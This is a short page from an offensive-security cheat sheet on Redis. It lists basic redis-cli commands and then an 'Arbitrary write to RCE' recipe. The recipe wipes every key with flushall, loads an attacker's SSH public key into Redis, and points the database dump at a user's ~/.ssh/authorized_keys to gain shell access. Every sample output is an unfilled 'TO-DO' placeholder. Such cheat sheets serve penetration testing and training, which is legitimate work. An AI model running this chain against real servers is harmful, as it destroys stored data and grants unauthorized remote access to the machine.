TLDRBins TLDRBins / Redis

Usage Tips:

  • Click on a keyword to enable inline editing.
  • Click inside a code block to copy (excludes comments).
  • Use the button to view examples.
  • Click outside to collapse all examples.

Basic

# Connect
redis-cli -h 127.0.0.1

Sample Output:
TO-DO
# Provide password
auth <PASSWORD>

Sample Output:
TO-DO
# List current keys
keys *

Sample Output:
TO-DO
# Add key
incr key

Sample Output:
TO-DO
# Get key value
get key

Sample Output:
TO-DO

Abuse #1: Arbitrary write to RCE

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

Sample Output:
TO-DO
# Deletes all keys from all databases on current host
redis-cli -h 127.0.0.1 flushall

Sample Output:
TO-DO
cat foo.txt | redis-cli -h 127.0.0.1 -x set crackit

Sample Output:
TO-DO
redis-cli -h 127.0.0.1 config set dir /home/<USER>/.ssh/

Sample Output:
TO-DO
redis-cli -h 127.0.0.1 config set dbfilename "authorized_keys"

Sample Output:
TO-DO
redis-cli -h 127.0.0.1 save

Sample Output:
TO-DO